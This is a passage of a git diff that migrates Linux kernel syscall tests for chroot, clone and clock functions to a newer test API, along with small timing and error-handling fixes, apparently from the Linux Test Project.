-#include <fcntl.h>
-#include "safe_macros.h"
+#include "tst_test.h"
 
-char *TCID = "chroot03";
-
-static int fd;
 static char fname[255];
 static char nonexistent_dir[100] = "testdir";
 static char bad_dir[] = "abcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyzabcdefghijklmnopqrstmnopqrstuvwxyz";
 static char symbolic_dir[] = "sym_dir1";
 
-struct test_case_t {
+static struct tcase {
 	char *dir;
 	int error;
-} TC[] = {
-	/*
-	 * to test whether chroot() is setting ENAMETOOLONG if the
-	 * pathname is more than VFS_MAXNAMELEN
-	 */
-	{
-	bad_dir, ENAMETOOLONG},
-	    /*
-	     * to test whether chroot() is setting ENOTDIR if the argument
-	     * is not a directory.
-	     */
-	{
-	fname, ENOTDIR},
-	    /*
-	     * to test whether chroot() is setting ENOENT if the directory
-	     * does not exist.
-	     */
-	{
-	nonexistent_dir, ENOENT},
-#if !defined(UCLINUX)
-	    /*
-	     * attempt to chroot to a path pointing to an invalid address
-	     * and expect EFAULT as errno
-	     */
-	{
-	(char *)-1, EFAULT},
-#endif
-	{symbolic_dir, ELOOP}
+	char *desc;
+} tcases[] = {
+	{bad_dir, ENAMETOOLONG, "chroot(longer than VFS_MAXNAMELEN)"},
+	{fname, ENOTDIR, "chroot(not a directory)"},
+	{nonexistent_dir, ENOENT, "chroot(does not exists)"},
+	{(char *)-1, EFAULT, "chroot(an invalid address)"},
+	{symbolic_dir, ELOOP, "chroot(symlink loop)"}
 };
 
-int TST_TOTAL = ARRAY_SIZE(TC);
-
-static char *bad_addr;
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
+static void verify_chroot(unsigned int n)
 {
-	int lc;
-	int i;
+	struct tcase *tc = &tcases[n];
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++) {
-			TEST(chroot(TC[i].dir));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				continue;
-			}
-
-			if (TEST_ERRNO == TC[i].error) {
-				tst_resm(TPASS | TTERRNO, "failed as expected");
-			} else {
-				tst_resm(TFAIL | TTERRNO,
-					 "didn't fail as expected (expected errno "
-					 "= %d : %s)",
-					 TC[i].error, strerror(TC[i].error));
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	TST_EXP_FAIL(chroot(tc->dir), tc->error, "%s", tc->desc);
 }
 
 static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
-	tst_tmpdir();
+	unsigned int i;
 
-	/*
-	 * create a file and use it to test whether chroot() is setting
-	 * ENOTDIR if the argument is not a directory.
-	 */
 	(void)sprintf(fname, "tfile_%d", getpid());
-	fd = SAFE_CREAT(cleanup, fname, 0777);
+	SAFE_TOUCH(fname, 0666, NULL);
 
-#if !defined(UCLINUX)
-	bad_addr = mmap(0, 1, PROT_NONE,
-			MAP_PRIVATE_EXCEPT_UCLINUX | MAP_ANONYMOUS, 0, 0);
-	if (bad_addr == MAP_FAILED)
-		tst_brkm(TBROK, cleanup, "mmap failed");
+	for (i = 0; i < ARRAY_SIZE(tcases); i++) {
+		if (tcases[i].error == EFAULT)
+			tcases[3].dir = tst_get_bad_addr(NULL);
+	}
 
-	TC[3].dir = bad_addr;
-#endif
-	/*
-	 * create two symbolic directory who point to each other to
-	 * test ELOOP.
-	 */
-	SAFE_SYMLINK(cleanup, "sym_dir1/", "sym_dir2");
-	SAFE_SYMLINK(cleanup, "sym_dir2/", "sym_dir1");
+	SAFE_SYMLINK("sym_dir1/", "sym_dir2");
+	SAFE_SYMLINK("sym_dir2/", "sym_dir1");
 }
 
-static void cleanup(void)
-{
-	close(fd);
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_chroot,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/chroot/chroot04.c b/testcases/kernel/syscalls/chroot/chroot04.c
index 69fd213..ed0f663 100644
--- a/testcases/kernel/syscalls/chroot/chroot04.c
+++ b/testcases/kernel/syscalls/chroot/chroot04.c
@@ -1,137 +1,45 @@
+ // SPDX-License-Identifier: GPL-2.0-or-later
  /*
   *   Copyright (C) Bull S.A. 2001
   *   Copyright (c) International Business Machines  Corp., 2001
   *
-  *   This program is free software;  you can redistribute it and/or modify
-  *   it under the terms of the GNU General Public License as published by
-  *   the Free Software Foundation; either version 2 of the License, or
-  *   (at your option) any later version.
-  *
-  *   This program is distributed in the hope that it will be useful,
-  *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-  *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-  *   the GNU General Public License for more details.
-  *
-  *   You should have received a copy of the GNU General Public License
-  *   along with this program;  if not, write to the Free Software
-  *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+  *   04/2002 Ported by Jacky Malcles
   */
 
-/*
- * NAME
- * 		 chroot04.c
+/*\
+ * [Description]
  *
- * DESCRIPTION
- *		 Testcase to check that chroot sets errno to EACCES.
+ * Testcase to check that chroot sets errno to EACCES.
  *
- * ALGORITHM
- *		 As a non-root user attempt to perform chroot() to a directory. The
- *		 chroot() call should fail with EACCES
- *
- * USAGE:  <for command-line>
- *  chroot04 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *             -i n : Execute test n times.
- *             -I x : Execute test for x seconds.
- *             -P x : Pause for x seconds between iterations.
- *             -t   : Turn on syscall timing.
- *
- * HISTORY
- *		 04/2002 Ported by Jacky Malcles
- *
- * RESTRICTIONS
- * 		 Must be run as non-root user.
+ * As a non-root user attempt to perform chroot() to a directory that the user
+ * does not have a search permission for. The chroot() call should fail with
+ * EACESS.
  */
 
 #include <stdio.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include "test.h"
-#include "safe_macros.h"
 #include <pwd.h>
-
-char *TCID = "chroot04";
-int TST_TOTAL = 1;
+#include "tst_test.h"
 
 #define TEST_TMPDIR	"chroot04_tmpdir"
 
-char nobody_uid[] = "nobody";
-struct passwd *ltpuser;
-
-void setup(void);
-void cleanup(void);
-
-int main(int ac, char **av)
+static void verify_chroot(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	/* Check for looping state if -i option is given */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		/* reset tst_count in case we are looping */
-		tst_count = 0;
-
-		TEST(chroot(TEST_TMPDIR));
-
-		if (TEST_RETURN != -1)
-			tst_resm(TFAIL, "call succeeded unexpectedly");
-		else if (TEST_ERRNO == EACCES)
-			tst_resm(TPASS, "got EACCESS as expected");
-		else
-			tst_resm(TFAIL | TTERRNO,
-				 "did not get EACCES as expected");
-
-	}
-	cleanup();
-
-	tst_exit();
-
+	TST_EXP_FAIL(chroot(TEST_TMPDIR), EACCES, "no search permission chroot()");
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- */
-void setup(void)
+static void setup(void)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	struct passwd *ltpuser;
 
-	tst_require_root();
+	SAFE_MKDIR(TEST_TMPDIR, 0222);
 
-	TEST_PAUSE;
-
-	/* make a temporary directory and cd to it */
-	tst_tmpdir();
-
-	/*
-	 * create a temporary directory
-	 */
-	if (mkdir(TEST_TMPDIR, 0222) != 0) {
-		tst_resm(TBROK, "mkdir(%s) failed", TEST_TMPDIR);
-	}
-
-	ltpuser = getpwnam(nobody_uid);
-	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
-
+	ltpuser = SAFE_GETPWNAM("nobody");
+	SAFE_SETEUID(ltpuser->pw_uid);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		        completion or premature exit.
- */
-void cleanup(void)
-{
-	/* reset the process ID to the saved ID (root) */
-	SAFE_SETUID(NULL, 0);
-	if (rmdir(TEST_TMPDIR) != 0) {
-		tst_brkm(TFAIL | TERRNO, NULL, "rmdir(%s) failed", TEST_TMPDIR);
-	}
-
-	/* delete the test directory created in setup() */
-	tst_rmdir();
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = verify_chroot,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/clock_gettime/clock_gettime01.c b/testcases/kernel/syscalls/clock_gettime/clock_gettime01.c
index be9573a..a67639b 100644
--- a/testcases/kernel/syscalls/clock_gettime/clock_gettime01.c
+++ b/testcases/kernel/syscalls/clock_gettime/clock_gettime01.c
@@ -73,7 +73,15 @@
 
 static void setup(void)
 {
+	long unsigned utime;
+
 	tst_res(TINFO, "Testing variant: %s", variants[tst_variant].desc);
+
+	do {
+		SAFE_FILE_SCANF("/proc/self/stat",
+			"%*d %*s %*c %*d %*d %*d %*d %*d %*u %*u %*u %*u %*u %lu",
+			&utime);
+	} while (utime == 0);
 }
 
 static void verify_clock_gettime(unsigned int i)
diff --git a/testcases/kernel/syscalls/clock_gettime/clock_gettime03.c b/testcases/kernel/syscalls/clock_gettime/clock_gettime03.c
index 83e97d9..f185977 100644
--- a/testcases/kernel/syscalls/clock_gettime/clock_gettime03.c
+++ b/testcases/kernel/syscalls/clock_gettime/clock_gettime03.c
@@ -37,6 +37,7 @@
 
 static struct tst_ts now, then, parent_then;
 static int parent_ns;
+static long long delta = 10;
 
 static struct time64_variants variants[] = {
 	{ .clock_gettime = libc_clock_gettime, .ts_type = TST_LIBC_TIMESPEC, .desc = "vDSO or syscall with libc spec"},
@@ -70,7 +71,7 @@
 
 	diff = tst_ts_diff_ms(then, now);
 
-	if (diff - tc->off * 1000 > 10) {
+	if (diff - tc->off * 1000 > delta) {
 		tst_res(TFAIL, "Wrong offset (%s) read %llims",
 		        tst_clock_name(tc->clk_id), diff);
 	} else {
@@ -80,7 +81,7 @@
 
 	diff = tst_ts_diff_ms(parent_then, now);
 
-	if (diff > 10) {
+	if (diff > delta) {
 		tst_res(TFAIL, "Wrong offset (%s) read %llims",
 		        tst_clock_name(tc->clk_id), diff);
 	} else {
@@ -113,6 +114,11 @@
 {
 	struct time64_variants *tv = &variants[tst_variant];
 
+	if (tst_is_virt(VIRT_ANY)) {
+		tst_res(TINFO, "Running in a VM, multiply the delta by 10.");
+		delta *= 10;
+	}
+
 	now.type = then.type = parent_then.type = tv->ts_type;
 	tst_res(TINFO, "Testing variant: %s", variants[tst_variant].desc);
 	parent_ns = SAFE_OPEN("/proc/self/ns/time_for_children", O_RDONLY);
diff --git a/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c b/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c
index 3824979..eef8a59 100644
--- a/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c
+++ b/testcases/kernel/syscalls/clock_nanosleep/clock_nanosleep01.c
@@ -27,10 +27,10 @@
 }
 
 enum test_type {
-	NORMAL,
-	SEND_SIGINT,
-	BAD_TS_ADDR_REQ,
-	BAD_TS_ADDR_REM,
+	NORMAL = 1,
+	SEND_SIGINT = 2,
+	BAD_TS_ADDR_REQ = 4,
+	BAD_TS_ADDR_REM = 8,
 };
 
 #define TYPE_NAME(x) .ttype = x, .desc = #x
@@ -138,7 +138,14 @@
 
 	tst_res(TINFO, "case %s", tc->desc);
 
-	if (tc->ttype == SEND_SIGINT || tc->ttype == BAD_TS_ADDR_REM)
+	if (tc->ttype & (BAD_TS_ADDR_REQ | BAD_TS_ADDR_REM) &&
+	    tv->clock_nanosleep == libc_clock_nanosleep) {
+		tst_res(TCONF,
+			"The libc wrapper may dereference req or rem");
+		return;
+	}
+
+	if (tc->ttype & (SEND_SIGINT | BAD_TS_ADDR_REM))
 		pid = create_sig_proc(SIGINT, 40, 500000);
 
 	tst_ts_set_sec(rq, tc->tv_sec);
@@ -192,7 +199,7 @@
 		}
 
 		if (remain_ms > expect_ms) {
-			tst_res(TFAIL| TTERRNO,
+			tst_res(TFAIL | TTERRNO,
 				"remaining time > requested time (%lld > %lld)",
 				remain_ms, expect_ms);
 			return;
diff --git a/testcases/kernel/syscalls/clock_settime/clock_settime03.c b/testcases/kernel/syscalls/clock_settime/clock_settime03.c
index c25277d..f196a25 100644
--- a/testcases/kernel/syscalls/clock_settime/clock_settime03.c
+++ b/testcases/kernel/syscalls/clock_settime/clock_settime03.c
@@ -45,7 +45,7 @@
 static void run(void)
 {
 	struct time64_variants *tv = &variants[tst_variant];
-	unsigned long long time = 0x7FFFFFFE; /* Time just before y2038 */
+	long long time = 0x7FFFFFFE; /* Time just before y2038 */
 	struct sigevent ev = {
 		.sigev_notify = SIGEV_SIGNAL,
 		.sigev_signo = SIGABRT,
diff --git a/testcases/kernel/syscalls/clone/clone01.c b/testcases/kernel/syscalls/clone/clone01.c
index e490b4e..7e3f156 100644
--- a/testcases/kernel/syscalls/clone/clone01.c
+++ b/testcases/kernel/syscalls/clone/clone01.c
@@ -1,90 +1,55 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
  * Copyright (c) 2012 Wanlong Gao <gaowanlong@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  */
 
-/*
- *	This is a test for the clone(2) system call.
- *	It is intended to provide a limited exposure of the system call.
+/*\
+ * [Description]
+ *
+ * Basic clone() test.
+ *
+ * Use clone() to create a child process, and wait for the child process to exit,
+ * verify that the child process pid is correct.
  */
 
-#if defined UCLINUX && !__THROW
-/* workaround for libc bug */
-#define __THROW
-#endif
-
-#include <errno.h>
-#include <sched.h>
-#include <sys/wait.h>
-#include "test.h"
-#include "safe_macros.h"
+#include <stdlib.h>
+#include "tst_test.h"
 #include "clone_platform.h"
 
-static void setup(void);
-static void cleanup(void);
-static int do_child();
+static void *child_stack;
 
-char *TCID = "clone01";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
-{
-	void *child_stack;
-	int status, child_pid;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	child_stack = malloc(CHILD_STACK_SIZE);
-	if (child_stack == NULL)
-		tst_brkm(TBROK, cleanup, "Cannot allocate stack for child");
-
-	tst_count = 0;
-
-	TEST(ltp_clone(SIGCHLD, do_child, NULL, CHILD_STACK_SIZE, child_stack));
-	if (TEST_RETURN == -1)
-		tst_resm(TFAIL | TTERRNO, "clone failed");
-
-	child_pid = SAFE_WAIT(cleanup, &status);
-
-	if (TEST_RETURN == child_pid)
-		tst_resm(TPASS, "clone returned %ld", TEST_RETURN);
-	else
-		tst_resm(TFAIL, "clone returned %ld, wait returned %d",
-			 TEST_RETURN, child_pid);
-
-	free(child_stack);
-
-	cleanup();
-
-	tst_exit();
-}
-
-static void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
-
-static int do_child(void)
+static int do_child(void *arg LTP_ATTRIBUTE_UNUSED)
 {
 	exit(0);
 }
+
+static void verify_clone(void)
+{
+	int status, child_pid;
+
+	TST_EXP_PID_SILENT(ltp_clone(SIGCHLD, do_child, NULL,
+		CHILD_STACK_SIZE, child_stack), "clone()");
+
+	child_pid = SAFE_WAIT(&status);
+
+	if (child_pid == TST_RET)
+		tst_res(TPASS, "clone returned %ld", TST_RET);
+	else
+		tst_res(TFAIL, "clone returned %ld, wait returned %d",
+			 TST_RET, child_pid);
+
+	if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
+		tst_res(TPASS, "Child exited with 0");
+	else
+		tst_res(TFAIL, "Child %s", tst_strstatus(status));
+}
+
+static struct tst_test test = {
+	.test_all = verify_clone,
+	.forks_child = 1,
+	.bufs = (struct tst_buffers []) {
+		{&child_stack, .size = CHILD_STACK_SIZE},
+		{}
+	},
+};
diff --git a/testcases/kernel/syscalls/clone/clone02.c b/testcases/kernel/syscalls/clone/clone02.c
index d864aae..42eea13 100644
--- a/testcases/kernel/syscalls/clone/clone02.c
+++ b/testcases/kernel/syscalls/clone/clone02.c
@@ -131,8 +131,7 @@
 
 		for (i = 0; i < TST_TOTAL; ++i) {
 			if (test_setup() != 0) {
-				tst_resm(TWARN, "test_setup() failed,"
-					 "skipping this test case");
+				tst_resm(TWARN, "test_setup() failed, skipping this test case");
 				continue;
 			}
 
diff --git a/testcases/kernel/syscalls/clone/clone03.c b/testcases/kernel/syscalls/clone/clone03.c
index f4216ea..2c912b9 100644
--- a/testcases/kernel/syscalls/clone/clone03.c
+++ b/testcases/kernel/syscalls/clone/clone03.c
@@ -1,147 +1,61 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
  * Copyright (c) 2012 Wanlong Gao <gaowanlong@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
- */
-/*
- *	Check for equality of pid of child & return value of clone(2)
- *	Test:
- *	 Open a pipe.
- *	 Loop if the proper options are given.
- *	  Call clone(2) called without SIGCHLD
- *
- *	  CHILD:
- *		writes the pid to pipe
- *	  PARENT:
- *		reads child'd pid from pipe
- *		if child's pid == return value from clone(2)
- *			Test passed
- *		else
- *			test failed
  */
 
-#if defined UCLINUX && !__THROW
-/* workaround for libc bug */
-#define __THROW
-#endif
+/*\
+ * [Description]
+ *
+ * Check for equality of getpid() from a child and return value of clone(2)
+ */
 
-#include <errno.h>
-#include <sched.h>
-#include <sys/wait.h>
-#include "test.h"
-
+#include <stdio.h>
+#include <stdlib.h>
+#include "tst_test.h"
 #include "clone_platform.h"
 
-static void setup(void);
-static void cleanup(void);
-static int child_fn();
+static void *child_stack;
+static int *child_pid;
 
-static int pfd[2];
+static int child_fn(void *arg LTP_ATTRIBUTE_UNUSED)
+{
+	*child_pid = getpid();
+	exit(0);
+}
 
-char *TCID = "clone03";
-int TST_TOTAL = 1;
-
-int main(int ac, char **av)
+static void verify_clone(void)
 {
 
-	int lc;
-	void *child_stack;
-	char buff[10];
-	int child_pid, status;
+	TST_EXP_PID_SILENT(ltp_clone(SIGCHLD, child_fn, NULL, CHILD_STACK_SIZE,
+				child_stack));
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	if (!TST_PASS)
+		return;
 
-	setup();
+	tst_reap_children();
 
-	/* Allocate stack for child */
-	child_stack = malloc(CHILD_STACK_SIZE);
-	if (child_stack == NULL)
-		tst_brkm(TBROK, cleanup, "Cannot allocate stack for child");
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		if ((pipe(pfd)) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup, "pipe failed");
-
-		TEST(ltp_clone(SIGCHLD, child_fn, NULL, CHILD_STACK_SIZE,
-			       child_stack));
-
-		if (TEST_RETURN == -1)
-			tst_brkm(TFAIL | TTERRNO, cleanup, "clone() failed");
-
-		/* close write end from parent */
-		if ((close(pfd[1])) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "close(pfd[1]) failed");
-
-		/* Read pid from read end */
-		if ((read(pfd[0], buff, sizeof(buff))) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "read from pipe failed");
-
-		/* Close read end from parent */
-		if ((close(pfd[0])) == -1)
-			tst_resm(TWARN | TERRNO, "close(pfd[0]) failed");
-
-		/* Get child's pid from pid string */
-		child_pid = atoi(buff);
-
-		if (TEST_RETURN == child_pid)
-			tst_resm(TPASS, "Test passed");
-		else
-			tst_resm(TFAIL, "Test failed");
-
-		if ((wait(&status)) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "wait failed, status: %d", status);
-	}
-
-	free(child_stack);
-
-	cleanup();
-	tst_exit();
+	TST_EXP_VAL(TST_RET, *child_pid, "pid(%d)", *child_pid);
 }
 
 static void setup(void)
 {
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
+	child_pid = SAFE_MMAP(NULL, sizeof(*child_pid), PROT_READ | PROT_WRITE,
+				MAP_SHARED | MAP_ANONYMOUS, -1, 0);
 }
 
 static void cleanup(void)
 {
+	if (child_pid)
+		SAFE_MUNMAP(child_pid, sizeof(*child_pid));
 }
 
-static int child_fn(void)
-{
-	char pid[10];
-
-	/* Close read end from child */
-	if ((close(pfd[0])) == -1)
-		perror("close(pfd[0]) failed");
-
-	sprintf(pid, "%d", getpid());
-
-	/* Write pid string to pipe */
-	if ((write(pfd[1], pid, sizeof(pid))) == -1)
-		perror("write to pipe failed");
-
-	/* Close write end of pipe from child */
-	if ((close(pfd[1])) == -1)
-		perror("close(pfd[1]) failed");
-
-	exit(1);
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = verify_clone,
+	.bufs = (struct tst_buffers []) {
+		{&child_stack, .size = CHILD_STACK_SIZE},
+		{},
+	},
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/syscalls/clone/clone04.c b/testcases/kernel/syscalls/clone/clone04.c
index 7f862b8..7af4fed 100644
--- a/testcases/kernel/syscalls/clone/clone04.c
+++ b/testcases/kernel/syscalls/clone/clone04.c
@@ -1,113 +1,47 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
  * Copyright (c) 2012 Wanlong Gao <gaowanlong@cn.fujitsu.com>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- *
  */
- /*
-  *     Verify that,
-  *      clone(2) returns -1 and sets errno to EINVAL if
-  *     child stack is set to a zero value(NULL)
-  */
 
-#if defined UCLINUX && !__THROW
-/* workaround for libc bug */
-#define __THROW
-#endif
+/*\
+ * [Description]
+ *
+ * Verify that clone(2) fails with
+ *
+ * - EINVAL if child stack is set to NULL
+ */
 
-#include <sched.h>
-#include <errno.h>
-#include <sys/wait.h>
-#include "test.h"
+#include <stdlib.h>
+#include "tst_test.h"
 #include "clone_platform.h"
 
-static void cleanup(void);
-static void setup(void);
-static int child_fn();
+static int child_fn(void *arg LTP_ATTRIBUTE_UNUSED);
 
-static void *child_stack;
-
-static struct test_case_t {
-	int (*child_fn) ();
-	void **child_stack;
+static struct tcase {
+	int (*child_fn)(void *arg);
+	void *child_stack;
 	int exp_errno;
 	char err_desc[10];
-} test_cases[] = {
-	{
-child_fn, NULL, EINVAL, "EINVAL"},};
+} tcases[] = {
+	{child_fn, NULL, EINVAL, "NULL stack"},
+};
 
-char *TCID = "clone04";
-int TST_TOTAL = sizeof(test_cases) / sizeof(test_cases[0]);
-
-int main(int ac, char **av)
+static int child_fn(void *arg LTP_ATTRIBUTE_UNUSED)
 {
-	int lc, ind;
-	void *test_stack;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (ind = 0; ind < TST_TOTAL; ind++) {
-			if (test_cases[ind].child_stack == NULL) {
-				test_stack = NULL;
-			} else if (*test_cases[ind].child_stack == NULL) {
-				tst_resm(TWARN, "Can not allocate stack for"
-					 "child, skipping test case");
-				continue;
-			} else {
-				test_stack = child_stack;
-			}
-
-			TEST(ltp_clone(0, test_cases[ind].child_fn, NULL,
-				       CHILD_STACK_SIZE, test_stack));
-
-			if ((TEST_RETURN == -1) &&
-			    (TEST_ERRNO == test_cases[ind].exp_errno)) {
-				tst_resm(TPASS, "expected failure; Got %s",
-					 test_cases[ind].err_desc);
-			} else {
-				tst_resm(TFAIL | TTERRNO,
-					 "Call failed to produce expected error; "
-					 "expected errno %d and result -1; got result %ld",
-					 test_cases[ind].exp_errno,
-					 TEST_RETURN);
-			}
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	exit(0);
 }
 
-static void setup(void)
+static void verify_clone(unsigned int nr)
 {
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
+	struct tcase *tc = &tcases[nr];
 
-	child_stack = malloc(CHILD_STACK_SIZE);
+	TST_EXP_FAIL(ltp_clone(0, tc->child_fn, NULL,
+				CHILD_STACK_SIZE, tc->child_stack),
+				tc->exp_errno, "%s", tc->err_desc);
 }
 
-static void cleanup(void)
-{
-	free(child_stack);
-}
-
-static int child_fn(void)
-{
-	exit(1);
-}
+static struct tst_test test = {
+	.tcnt = ARRAY_SIZE(tcases),
+	.test = verify_clone,
+};
diff --git a/testcases/kernel/syscalls/clone/clone05.c b/testcases/kernel/syscalls/clone/clone05.c
index 494b772..892a848 100644
--- a/testcases/kernel/syscalls/clone/clone05.c
+++ b/testcases/kernel/syscalls/clone/clone05.c
@@ -1,103 +1,57 @@
+// SPDX-License-Identifier: GPL-2.0-only
 /*
  * Copyright (c) Wipro Technologies Ltd, 2002.  All Rights Reserved.
  * Copyright (c) 2012 Wanlong Gao <gaowanlong@cn.fujitsu.com>
  * Copyright (c) 2012 Cyril Hrubis <chrubis@suse.cz>
- *
- * This program is free software; you can redistribute it and/or modify it
- * under the terms of version 2 of the GNU General Public License as
- * published by the Free Software Foundation.
- *
- * This program is distributed in the hope that it would be useful, but
- * WITHOUT ANY WARRANTY; without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
- *
- * You should have received a copy of the GNU General Public License along
- * with this program; if not, write the Free Software Foundation, Inc.,
- * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
- *
  */
 
-/*
+/*\
+ * [Description]
+ *
  * Call clone() with CLONE_VFORK flag set. verify that
  * execution of parent is suspended until child finishes
  */
 
 #define _GNU_SOURCE
 
-#include <errno.h>
+#include <stdlib.h>
 #include <sched.h>
-#include <sys/wait.h>
-#include "test.h"
+#include "tst_test.h"
 #include "clone_platform.h"
 
-char *TCID = "clone05";
-int TST_TOTAL = 1;
+static volatile int child_exited;
+static void *child_stack;
 
-static void setup(void);
-static void cleanup(void);
-static int child_fn(void *);
-
-static int child_exited = 0;
-
-int main(int ac, char **av)
-{
-
-	int lc, status;
-	void *child_stack;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	child_stack = malloc(CHILD_STACK_SIZE);
-	if (child_stack == NULL)
-		tst_brkm(TBROK, cleanup, "Cannot allocate stack for child");
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(ltp_clone(CLONE_VM | CLONE_VFORK | SIGCHLD, child_fn, NULL,
-		               CHILD_STACK_SIZE, child_stack));
-
-		if ((TEST_RETURN != -1) && (child_exited))
-			tst_resm(TPASS, "Test Passed");
-		else
-			tst_resm(TFAIL, "Test Failed");
-
-		if ((wait(&status)) == -1)
-			tst_brkm(TBROK | TERRNO, cleanup,
-				 "wait failed, status: %d", status);
-
-		child_exited = 0;
-	}
-
-	free(child_stack);
-
-	cleanup();
-	tst_exit();
-}
-
-static void setup(void)
-{
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-}
-
-static void cleanup(void)
-{
-}
-
-static int child_fn(void *unused __attribute__((unused)))
+static int child_fn(void *unused LTP_ATTRIBUTE_UNUSED)
 {
 	int i;
 
-	/* give the kernel scheduler chance to run the parent */
 	for (i = 0; i < 100; i++) {
 		sched_yield();
 		usleep(1000);
 	}
 
 	child_exited = 1;
-	_exit(1);
+	_exit(0);
 }
+
+static void verify_clone(void)
+{
+	child_exited = 0;
+
+	TST_EXP_PID_SILENT(ltp_clone(CLONE_VM | CLONE_VFORK | SIGCHLD, child_fn, NULL,
+					CHILD_STACK_SIZE, child_stack), "clone with vfork");
+
+	if (!TST_PASS)
+		return;
+
+	TST_EXP_VAL(child_exited, 1);
+}
+
+static struct tst_test test = {
+	.test_all = verify_clone,
+	.bufs = (struct tst_buffers []) {
+		{&child_stack, .size = CHILD_STACK_SIZE},
+		{},
+	},
+};
diff --git a/testcases/kernel/syscalls/clone/clone06.c b/testcases/kernel/syscalls/clone/clone06.c
index 99e7f38..b32f17d 100644
--- a/testcases/kernel/syscalls/clone/clone06.c
+++ b/testcases/kernel/syscalls/clone/clone06.c
